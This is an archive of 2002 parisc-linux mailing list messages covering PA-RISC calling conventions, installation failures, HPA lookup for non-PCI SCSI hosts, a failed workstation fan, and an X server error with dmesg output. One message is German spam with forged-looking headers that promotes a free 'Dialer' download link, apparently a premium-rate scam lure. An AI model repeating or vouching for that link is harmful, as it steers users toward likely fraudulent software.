	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14789

> > I'm not aware of any authoritative, detailed documentation for PA1.1 ELF.
> > Since PA1.1 (32-bit) ELF is hack from the existing 64-bit ELF, 
> > You could start by looking at PA2.0 calling convention for HPUX.
> > Either docs.hp.com or www.parisc-linux.org should have that specification.
> > Otherwise, just write something in 'C' and see what gcc produces.
> 
>  From what I have seen, the 32-bit elf conventions are quite similar to
>  the 32-bit som conventions. the biggest difference i know off the top
>  of my head is that we don't do fp argument relocation.

Yes, that's the main difference.  For the most part, argument relocation
does not affect the code generated except in special situations (e.g.,
varargs).  Further, there are no differences in the calling conventions
for PA1.0, PA1.1 and PA2.0 in either runtime.

For embedded products, you should be aware of TARGET_PORTABLE_RUNTIME.
This affects the type of branch used for calls.  It could be specified
under hpux or linux but I have no idea whether it would work.

I have wondered if parisc-linux actually supports the PA2.0 architecture
in the ELF32 runtime.  I think that's there is more in the compiler that
could be done to take advantage of the 64-bit general registers and 64-bit
operations available under PA2.0.

There are some subtle differences between the SOM and ELF32 runtimes that
arise because of the different capabilities of the linkers.  Long calls
are more likely to be needed with the GNU linker because it places stubs
at the beginning of translation units unless you compile with
-ffunction-sections.

There are differences in the assembly language output from the compiler
for hpux and linux.  These mainly involve different directives.  The linux
directives are similar to those for the i386 linux port.

You will probably need to understand stub generation to implement libffi
if I recall correctly.

Hpux uses a segmented memory model.  Linux uses a flat model.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Fri, 17 May 2002 09:20:54 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20020517152054.4F2CE482A@dsl2.external.hp.com>
References: <20020517130527.J32014@humbolt.geo.uu.nl>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621299 7314 80.91.229.3 (22 Nov 2014 01:54:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:59 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Armijn Hemel <armijn@nl.linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 09:20:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4F2CE482A; Fri, 17 May 2002 09:20:54 -0600 (MDT)
In-Reply-To: Message from Armijn Hemel <armijn@nl.linux.org> 
   of "Fri, 17 May 2002 13:05:27 +0200." <20020517130527.J32014@humbolt.geo.uu.nl> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14790

Armijn Hemel wrote:
> I also tried the 0.9.3 release PARISC-Linux (full
> install) which also didn't work.

The kernel on that ISO is too old.
No matter what, you need network access since the 0.9.3 bits are 6 monthes old.
ie apt-get upgrade will replace everything anyway.

Steps Paul Bame uses goes something like:
o burn Debian boot floppies image on a CD (it's a lifimage).
o boot CD
o do a network install to get the rest of the bits.

> HPMC initiated, bus timeout, bad os HPMC cksm, OS HPMC br err

The bits are too old and Debian 3.0 is about ready to release.
It's not worth chasing. I'm certain B2600 runs parisc-linux since
at least one parisc-linux developer has one.

grant



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Armijn Hemel <armijn@nl.linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installing on b2600 fails
Date: Fri, 17 May 2002 17:26:00 +0200
Lines: 38
Approved: news@gmane.org
Message-ID: <20020517172600.I29738@humbolt.geo.uu.nl>
References: <20020517130527.J32014@humbolt.geo.uu.nl> <armijn@nl.linux.org> <20020517152054.4F2CE482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621299 7319 80.91.229.3 (22 Nov 2014 01:54:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:59 +0000 (UTC)
Cc: Armijn Hemel <armijn@nl.linux.org>,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 09:26:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from humbolt.nl.linux.org (humbolt.nl.linux.org [131.211.28.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69831482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 09:26:10 -0600 (MDT)
Original-Received: (from localhost user: 'armijn' uid#1008 fake: STDIN
	(armijn@humbolt.nl.linux.org)) by humbolt.nl.linux.org
	id <S16043AbSEQP0A>; Fri, 17 May 2002 17:26:00 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20020517152054.4F2CE482A@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Fri, May 17, 2002 at 09:20:54AM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14791

On Fri, May 17, 2002 at 09:20:54AM -0600, Grant Grundler wrote:

> > I also tried the 0.9.3 release PARISC-Linux (full
> > install) which also didn't work.
> 
> The kernel on that ISO is too old.

Ah...that explains a lot...

> No matter what, you need network access since the 0.9.3 bits are 6 monthes old.
> ie apt-get upgrade will replace everything anyway.
> 
> Steps Paul Bame uses goes something like:
> o burn Debian boot floppies image on a CD (it's a lifimage).
> o boot CD
> o do a network install to get the rest of the bits.

Hmmkay, worth a try :)

> > HPMC initiated, bus timeout, bad os HPMC cksm, OS HPMC br err
> 
> The bits are too old and Debian 3.0 is about ready to release.

I did try an unoffical ISO (Debian 3.0), but that also didn't work.
Best to just wait for Debian 3.0?

Thanks!

armijn

-- 
 ---------------------------------------------------------------------------
   armijn@nl.linux.org | http://people.nl.linux.org/~armijn/ | Penguin Power
 ---------------------------------------------------------------------------
                 http://nl.linux.org/ | Alles over Linux
 ---------------------------------------------------------------------------



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Fri, 17 May 2002 09:36:47 -0600
Lines: 17
Approved: news@gmane.org
Message-ID: <20020517153647.41BAD482A@dsl2.external.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com> <20020402164417.6C6B6482A@dsl2.external.hp.com>  <3CE50F7B.771EC8B8@admin.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621300 7320 80.91.229.3 (22 Nov 2014 01:55:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:00 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 09:36:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 41BAD482A; Fri, 17 May 2002 09:36:47 -0600 (MDT)
In-Reply-To: Message from Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com> 
   of "Fri, 17 May 2002 16:11:07 +0200." <3CE50F7B.771EC8B8@admin.france.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14792

Bruno Vidal wrote:
> But as it has been said, the pointer pci_dev in the structure scsi_host
> is not always pointing to a pci_dev. For my poor 712/100, it point
> to NULL :-( (it is normal, my scsi host is not a PCI one).

The best idea we came up with was to require the dump partition be
on boot device and pull the HPA from page zero. Matthew Wilcox was
mentioning that this problem will be solved in 2.5 kernel
since it will get an IO tree similar to HPUX's.

TBH, I'm personally not interested in chasing down solutions
for boxes that don't have PCI.

hth,
grant



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parsic function calling convention
Date: Fri, 17 May 2002 11:58:08 -0400
Lines: 18
Approved: news@gmane.org
Message-ID: <20020517115808.A11603@systemhalted>
References: <20020517063657.GZ30370@tausq.org> <200205171442.g4HEgNbk029843@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621300 7324 80.91.229.3 (22 Nov 2014 01:55:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:00 +0000 (UTC)
Cc: randolph@tausq.org, dave@hiauly1.hia.nrc.ca,
	parisc-linux@lists.parisc-linux.org
To: james@massive.com.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 09:58:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (CPE0080c82c70ca.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2D0784838
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 09:58:18 -0600 (MDT)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.6/8.11.0) id g4HFw8811608;
	Fri, 17 May 2002 11:58:08 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	james@massive.com.au, randolph@tausq.org, dave@hiauly1.hia.nrc.ca,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200205171442.g4HEgNbk029843@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Fri, May 17, 2002 at 10:42:22AM -0400
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14793

> You will probably need to understand stub generation to implement libffi
> if I recall correctly.
> 
> Hpux uses a segmented memory model.  Linux uses a flat model.
> 
> Dave

Last I remember there was someone porting avcall.
They might be a good resource.

http://lists.debian.org/debian-hppa/2002/debian-hppa-200203/msg00073.html

Here is some general discussion on fp passing:
http://lists.parisc-linux.org/hypermail/parisc-linux/8277.html

c.



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: A1094-66541 PCBA Switch
Date: Fri, 17 May 2002 21:01:31 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20020517190130.GA799__44041.6298494258$1416621300$gmane$org@nikita.ath.cx>
References: <20020512102818.GA28431@nikita.ath.cx> <3CDFB071.2FFC4752@gall.de> <20020513195402.GA16036@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621300 7327 80.91.229.3 (22 Nov 2014 01:55:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:00 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: Antje _hrlein <ao@gall.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 13:01:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout05.sul.t-online.com (mailout05.sul.t-online.com [194.25.134.82])
	by dsl2.external.hp.com (Postfix) with ESMTP id E0168482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 13:01:58 -0600 (MDT)
Original-Received: from fwd05.sul.t-online.de 
	by mailout05.sul.t-online.com with smtp 
	id 178mz7-0008DP-04; Fri, 17 May 2002 21:01:49 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[80.128.46.13]) by fmrl05.sul.t-online.com
	with esmtp id 178myz-1cyWTQC; Fri, 17 May 2002 21:01:41 +0200
Original-Received: from nikita.ath.cx (pappy@localhost.localdomain [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) with ESMTP id g4HJ1YLY000844;
	Fri, 17 May 2002 21:01:35 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.2/Debian -5) id g4HJ1WrQ000840;
	Fri, 17 May 2002 21:01:32 +0200
Content-Disposition: inline
In-Reply-To: <20020513195402.GA16036@nikita.ath.cx>
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14794

hi, the problem was not with the pcb switch:

the chassis of the 735 hat a broken middle fan that has been outaged due
to really messy dirt in the wheel and therefore the fan motor just got
wrecked and the machine said: no thanks, i don't wanna live with one
fan not working :-(

what confused me was that with switching the machine on and off in a very
short time (five times in 3 seconds, fast like that) (which makes me
immediately feel sorry for the power supply) the machine turned on.

a witted HP field service engineer would have looked at the fans first,
i guess now ...

i assume the second machine to have a similar problem and will take down
the server for some offline time to clean both machines out of 10 years of dust...


but anyway, the old one was already screwed up and the new one is
working fine from now on :-)

i would also thank www.gall.de for the quick replacement of the pcb switch,


bye

Alex

--
pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <pappy@nikita.ath.cx>
          Key fingerprint =  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7F D6  05 E1 A8 0C



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <secracke39029r3622u26@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] RE: WICHTIG!!!
Date: Sat, 18 May 0102 04:22:29 +0200
Lines: 13
Approved: news@gmane.org
Message-ID: <005d73d85d2d$6768e6b3$5be68cb3@jxuqbs>
Reply-To: <secracke39029r3622u26@yahoo.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621301 7329 80.91.229.3 (22 Nov 2014 01:55:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:01 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 18 00:52:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from yahoo.de (unknown [194.160.74.72])
	by dsl2.external.hp.com (Postfix) with SMTP id 66D46482A
	for <parisc-linux@lists.parisc-linux.org>; Sat, 18 May 2002 00:52:24 -0600 (MDT)
Original-Received: from [128.13.5.158] by mx.loxsystems.net with esmtp; 19 May 0102 00:52:21 -0300
Original-Received: from unknown (HELO hd.ressort.net) (168.129.106.19)
	by da001d2020.loxi.pianstvu.net with NNFMP; 18 May 0102 21:49:52 -0900
Original-Received: from unknown (HELO m10.grp.snv.yahui.com) (32.100.97.126)
	by rly-yk04.aolmd.com with local; Sat, 18 May 0102 12:47:23 -0500
Original-Received: from unknown (47.109.94.85)
	by mailout2-eri1.midmouth.com with NNFMP; 18 May 0102 07:44:54 -0100
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: The Bat! (v1.52f) Business
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14795

Hi!

Nun kannst du endlich mal kostenlos einen Dialer runterladen....
Geniesse Die shows einfach mal ohne dauernd auf die Uhr schauen zu muessen...

Ich wuensche Dir richtig viel Spass beim anschauen.....

http://usuarios.lycos.es/greatsss/

Schau es Dir an, lad es Dir kostenlos herunter
9329lINg9-971vrvT9592MjPf1-032uRll9l33



From - Thu Nov 08 21:22:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Corner <bcorner@telusplanet.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] X on my machine?
Date: 20 May 2002 20:36:45 -0600
Lines: 399
Approved: news@gmane.org
Message-ID: <1021948605.2030.15.camel@taz.ab.hsia.telus.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="=-Sc9Di8tYQ68vV83PA33C"
X-Trace: ger.gmane.org 1416621301 7344 80.91.229.3 (22 Nov 2014 01:55:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:55:01 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 20 20:36:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from priv-edtnes16-hme0.telusplanet.net (defout.telus.net [199.185.220.240])
	by dsl2.external.hp.com (Postfix) with ESMTP id C9007482A
	for <parisc-linux@parisc-linux.org>; Mon, 20 May 2002 20:36:41 -0600 (MDT)
Original-Received: from taz.ab.hsia.telus.net ([66.222.219.199])
          by priv-edtnes16-hme0.telusplanet.net
          (InterMail vM.5.01.04.02 201-253-122-122-102-20011128) with ESMTP
          id <20020521023638.XXWB17327.priv-edtnes16-hme0.telusplanet.net@taz.ab.hsia.telus.net>
          for <parisc-linux@parisc-linux.org>;
          Mon, 20 May 2002 20:36:38 -0600
X-Mailer: Evolution/1.0.2-5mdk 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14796

--=-Sc9Di8tYQ68vV83PA33C
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

Hi,

I'm having a little trouble installing the PARISC 0.9.3 Linux on my HP
735/99.

The installation is OK but I could not get the X server to work.

I applied the patch from the ERRATA page and ran "dpkg-reconfigure
xserver-xfree86" to create a new XF86Config-4 file.

I've tried quite a few attempts with different parameters.

Same result ... it always says ... No devices detected  ...
Fatal server error:
no screens found.

I've tried different horizontal & vertical frequencies but always the
same result.

I've attached 3 files:

1) dmesg.txt ... what dmesg prints when I boot
2) XF86Config-4 ... the X server config file
3) the log when I try to start X.

Any help would be appreciated.

Thanks,

Bob Corner



--=-Sc9Di8tYQ68vV83PA33C
Content-Disposition: attachment; filename=dmesg.txt
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=ISO-8859-1

Linux version 2.4.9-32 (root@paer) (gcc version 3.0.2 (Debian)) #1 Fri Nov =
30 19:36:30 MST 2001
FP[0] enabled: Rev 1 Model 9
The 32-bit Kernel has started...
Determining PDC firmware type: Snake.
model	00002030 00000481 00000000 00000000 77b63c26 ffffffff 00000004 000000=
0a 0000000a
vers	0000000b
CPUID	vers 0 rev 0
model	9000/735
Total Memory: 128 Mb
pagetable_init
On node 0 totalpages: 32768
zone(0): 32768 pages.
zone(1): 0 pages.
zone(2): 0 pages.
Kernel command line: root=3D/dev/sda3 HOME=3D/ console=3Dtty0 sti=3D0 sti_f=
ont=3DVGA8x16 TERM=3Dlinux
Console: colour dummy device 160x64
Calibrating delay loop... 98.71 BogoMIPS
Memory: 126204k available
Dentry-cache hash table entries: 16384 (order: 5, 131072 bytes)
Inode-cache hash table entries: 8192 (order: 4, 65536 bytes)
Mount-cache hash table entries: 2048 (order: 2, 16384 bytes)
Buffer-cache hash table entries: 4096 (order: 2, 16384 bytes)
Page-cache hash table entries: 32768 (order: 5, 131072 bytes)
Searching for devices...
Found devices:
1. Coral SGC Graphics (10) at 0xf8000000 [1], versions 0x4, 0x0, 0x77
2. Outfield Core BA (11) at 0xf082f000 [2], versions 0x9, 0x0, 0x70
3. Outfield Core SCSI (10) at 0xf0825000 [2/0/1], versions 0x9, 0x0, 0x71
4. Outfield Core LAN (802.3) (10) at 0xf0826000 [2/0/2], versions 0x9, 0x0,=
 0x72
5. Outfield Core HIL (10) at 0xf0821000 [2/0/3], versions 0x9, 0x0, 0x73
6. Outfield Core RS-232 (10) at 0xf0823000 [2/0/4], versions 0x9, 0x0, 0x75
7. Outfield Core RS-232 (10) at 0xf0822000 [2/0/5], versions 0x9, 0x0, 0x75
8. Outfield Core Centronics (10) at 0xf0824000 [2/0/6], versions 0x9, 0x0, =
0x74
9. Outfield FW SCSI (10) at 0xf0830000 [2/0/7], versions 0x9, 0x0, 0x7c
10. Outfield Audio (10) at 0xf1000000 [2/0/8], versions 0x9, 0x0, 0x7f
11. Cobra EISA BA (11) at 0xfc000000 [4], versions 0x4, 0x0, 0x76
12. Hardball (735/99) (0) at 0xfffbe000 [8], versions 0x203, 0x0, 0x4
13. Hardball (1) at 0xfffbf000 [9], versions 0x19, 0x0, 0x9
CPU(s): 1 x PA7100 (PCX-T) at 99.000000 MHz
Cutoff version 4 at 0xf082f000 found.
LED (ASP-style) display at f0800020 registered
Mongoose EISA Adapter found at 0xfc000000
POSIX conformance testing by UNIFIX
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Starting kswapd v1.8
parport_init_chip: enhanced parport-modes not supported.
parport0: PC-style at 0xf0824800, irq 88 [PCSPP]
STI byte mode ROM at f8000000, hpa=3Df8000000
STI byte mode ROM, id 26d1482a-40a00499, conforms to spec rev. 8.02
STI device: HPA1659A
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_P=
CI enabled
ttyS00 at iomem 0xf0823800 (irq =3D 90) is a 16550A
ttyS01 at iomem 0xf0822800 (irq =3D 89) is a 16550A
Found HIL at 0xf0821000, IRQ 94
HIL: keyboard found at id 0
HIL: keymap loaded.
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
block: 128 slots per queue, batch=3D16
RAMDISK driver initialized: 16 RAM disks of 6144K size 1024 blocksize
loop: loaded (max 8 devices)
Found i82596 at 0xf0826000, IRQ 87
82596.c: MAC of HP700 LAN read from EEPROM
eth0: Couldn't get consistent shared memory
eth0: 82596 at 0xf0826000, 08 00 09 62 8A 08 IRQ 87.
82596.c $Revision: 1.26 $
SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0=20
scsi0 : LASI SCSI 53c700
  Vendor: DEC       Model: DSP3107LS         Rev: 441I
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
